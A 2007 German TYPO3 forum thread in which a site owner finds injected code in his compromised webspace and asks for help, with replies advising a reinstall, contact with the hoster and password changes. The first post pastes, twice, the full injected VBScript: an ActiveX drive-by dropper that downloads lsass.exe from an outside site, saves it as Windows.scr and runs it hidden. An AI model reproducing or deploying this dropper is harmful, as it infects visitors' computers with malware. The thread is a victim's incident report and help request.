Hi, ich bin Typo3-Neuling, aber bis jetzt liefs ganz gut bei mir. BIS HEUTE: Ich will mir meine Seite ansehen und bin überrascht: Ich seh NIX, nur weiß. Und wenn ich mich ins Backend einlogge kann ich den Extensions-Manager nicht sehen! Der Frame wird ebenfalls weiß. Das irre ist, ICH HAB SEIT WOCHEN NIX an der seite geändert! Und vor ein paar Tagen war sie noch in Ordnung! Dann untersuchte ich mal den Quelltext des Frames, der erscheint, wenn ich im Backend den Extensionsmanager öffnen möchte. Und jetzt hab ich echt schiss, denn wieso zum !"§$$/&% erscheint dieser Quelltext in MEINEM Backend? Ich hab nicht smit der Seite http://radiomarsstyle.de zu tun, und besonders die Endung der im Quelltext auftauchenden URLs machen mir Sorgen! Kann mir jemand Erfahrenes sagen, was hier los ist? Hier der Quelltext der Seite, die sich öffnet, wenn ich den Extensionsmanager öffnen möchte: ZITAT: on error resume next Set obj1 = document.createElement("object") obj1.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" est1="Microsoft."&"XMLHTTP" Set obj2 = obj1.CreateObject(est1,"") est="Ado"&"db."&"Str"&"eam" set obj3 = obj1.createobject(est,"") obj3.type = 1 est2="GET" obj2.Open est2, "http://radiomarsstyle.de/components/com_hashcash/lsass.exe", False obj2.Send set F = obj1.createobject("Scripting.FileSystemObject","") set pasta = F.GetSpecialFolder(2) fi="Windows.scr" fi= F.BuildPath(pasta,fi) obj3.open obj3.write obj2.responseBody obj3.savetofile fi,2 obj3.close set obj5 = obj1.createobject("Shell.Application","") obj5.ShellExecute fi,"","","open",0 on error resume next Set obj1 = document.createElement("object") obj1.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" est1="Microsoft."&"XMLHTTP" Set obj2 = obj1.CreateObject(est1,"") est="Ado"&"db."&"Str"&"eam" set obj3 = obj1.createobject(est,"") obj3.type = 1 est2="GET" obj2.Open est2, "http://radiomarsstyle.de/components/com_hashcash/lsass.exe", False obj2.Send set F = obj1.createobject("Scripting.FileSystemObject","") set pasta = F.GetSpecialFolder(2) fi="Windows.scr" fi= F.BuildPath(pasta,fi) obj3.open obj3.write obj2.responseBody obj3.savetofile fi,2 obj3.close set obj5 = obj1.createobject("Shell.Application","") obj5.ShellExecute fi,"","","open",0

Hallo Biberboot Falls Du mechanisch auf den PC/Server Zugriff hast, ziehe den Netzstecker und scanne mal die Kiste. Das wichtigste ist, die LSASS.EXE muss im folgenden Ordner abgelegt sein: C:\windows\system32. Falls die Datei an einem anderen Ort ist, handelt sich es um einen Virus. Da Du diesen Quelltext schon lesen konntest und deine Kiste nicht geschützt ist, hast du somit einen neuen Gast. Säubere die Maschine mittels einer Notfall-CD, somit ist sicher nichts im RAM wo Prozesse abschiesst. Falls Deine Kiste geschützt ist, sollte nicht allzu viel passiert sein. Gruss Alain

Hilfe ich hab angst...

InforMedic · 30. Mai 2007 20:05

Könntest Du mal was zu deinem Environment sagen?
Linux Windows? Typo3 3.8, 4.1?

Firewalls am laufen? Öffentliche IP? Welche security massnahmen wurden für den Server getroffen?

Gruß
Info :o

Unbekannter Benutzer · 30. Mai 2007 20:55

Nein, ich hab keinen direkten Zugriff auf dem Server, die Seite läuft auf einem webspace. Es ist typo3 4.1.1.
Sorry, so viel Ahnung hab ich auch nicht: "öffentliche IP?"
Was soll ich mit meinem Typo3 machen?

Die Seite ist noch im Aufbau, ich könnte auch alle Daten vom webspace löschen und später nochmal aufspielen...? Wäre nur blöd, Typo3 neu installieren zu müssen!

Danke für die Hilfe, (versteht jemand, was der von mir gepostete Code bewirkt?)

Biberboot

cope · 30. Mai 2007 23:16

Hmm,

ganz grob würd ich mal sagen, dass da eine Schwäche im Windows XML Handler ausgenutzt wird. Mit anderen Worten, wenn ein Besucher mit einem IE& auf diese Seite zugreift und ActiveX zulässt hat er ein Problem.

Ich hab leider keinen "Spielrechner". Sonst hätte ich die genannte lsass.exe mal untersucht.
Als erstes würde ich tatsächlich die gesamte Typo Installation erneuern.

Die vorgefundene URL ist in Deutschland gehostet und deutet auf "German Dream Radio" hin.
Ich habe Versucht das Impressum zu lesen. Man bekommt als Response, dass man nicht authorisiert sei. Klarer Verstoss gegen geltendes Recht.

Eine who-is Abfrage wurde wegen "extensive queries" abgelehnt.
Wenns meine Seite wär, wäre jetzt mein Anwalt unterwegs und die Kripo benachrichtigt. Sooo ein Hals!

Ich würde auch das Typo Security Team von diesem Zwischenfall unterrichten
http://typo3.org/teams/security/

Je nachdem wie Ernst man die Sache nimmt kann man ignorieren oder dick auf die Hose hauen.
Ich bin eher von der Sorte Anwalt/Kripo. Scriptkiddies sind zum kotzen, sorry.

Besser ist vielleicht, weitere Meinung einzuholen.

Gruß
Cope

ALCA74 · 30. Mai 2007 23:51

Mein Tipp, ändere nichts an der Page und nimm sie sofort vom Netz.

Habe den Code mit einer Testmaschine getestet, soviel musste mein Virenwächter noch nie arbeiten.
Anscheinend gibt es noch einen Link zu einer anderen Seite.

gruss

steffenk · 30. Mai 2007 23:56

geh per ftp auf den Server, lösch die index.php und alle auffälligen Dateien, u.U. alles löschen und neues Typo3-Paket einspielen.
Unbedingt den Hoster benachrichtigen und um Hilfe bitten.

d.walter · 31. Mai 2007 08:07

Uiuiui, hört sich ja nicht so toll an!!

Biberboot wäre nett, wenn du vielleicht dann nochmal ein Statement abgibst wie die Sache dann schlussendlich ausgegangen ist.

Wäre interessant wie das passieren konnte.

Gruß und viel Glück

Daniel

karlchen · 2. Juni 2007 13:37

mal anders rum gedacht, ich denke mal das da eher jemand Zugriff auf das HostingPaket und nicht auf typo3 hat(te). Also bringt eine Neuinstallation nichts, solange man nicht weiß wie derjenige auf das System Zugriff hatte.

Ich würde in diesem Fall auch UNBEDINGT den Hoster informieren, womöglich liegt das "Sicherheitsloch" sogar bei ihm und es könnten auch andere Kunden betroffen sein.

Wie es weiter geht würde mich allerdings auch sehr interessieren.

Unbekannter Benutzer · 3. Juni 2007 14:36

Aaaalso: Ich hab den Provider angeschrieben, der schickte ein Bestätigungsmail mit dem inhalt "in 24-Stunden melden wir uns bei ihnen" - vor drei Tagen. Seit dem kam nix mehr.
Ich habe Typo3 komplett gelöscht und zudem alles andere auch vom webspace entfernt - denn ich habe bemerkt, dass es nicht nur eine Seite im Backend war, die den fremden Code beinhaltete, sondern alle anderen PHP und HTML-Dateien (auch außerhalb von Typo3), die ich mir genauer ansah, auch. Kann man daraus neue Schlüsse ziehen?

Hab jetzt alle Passwörter des webspace geändert.
Ich halt euch auf dem Laufenden,
Biberboot

typoboy · 8. Juni 2007 10:02

Das wurde ziemlich sicher der Webspace gehackt. Da die sich nicht melden und drei Tage Downtime nicht hinnehmbar erscheinen würde ich kündigen. Fristlos.

Ist allerdings u. U. ein Problem die Domain auf einen neuen Provider zu ziehen. Würde ich vor der Küdnigung machen.

m.att · 8. Juni 2007 10:20

Biberboot schrieb
Ich hab den Provider angeschrieben.

Würde ich nicht machen. Rufe am besten gleich an und frag was das soll. Briefchen schreiben hilft in solchen fällen nicht viel und vor allem ist es zu langsam.

Biberboot schrieb
alle anderen PHP und HTML-Dateien (auch außerhalb von Typo3), die ich mir genauer ansah, auch. Kann man daraus neue Schlüsse ziehen?

Jo, liegt am server. Da kannst du nichts ausrichten als däumchen drehen und warten bis dein provider den hintern hoch bekommt.

Ist ja mittlerweile schon eine zeit her ... hat sich das Problem schon lösen lassen?

Grüße
Matze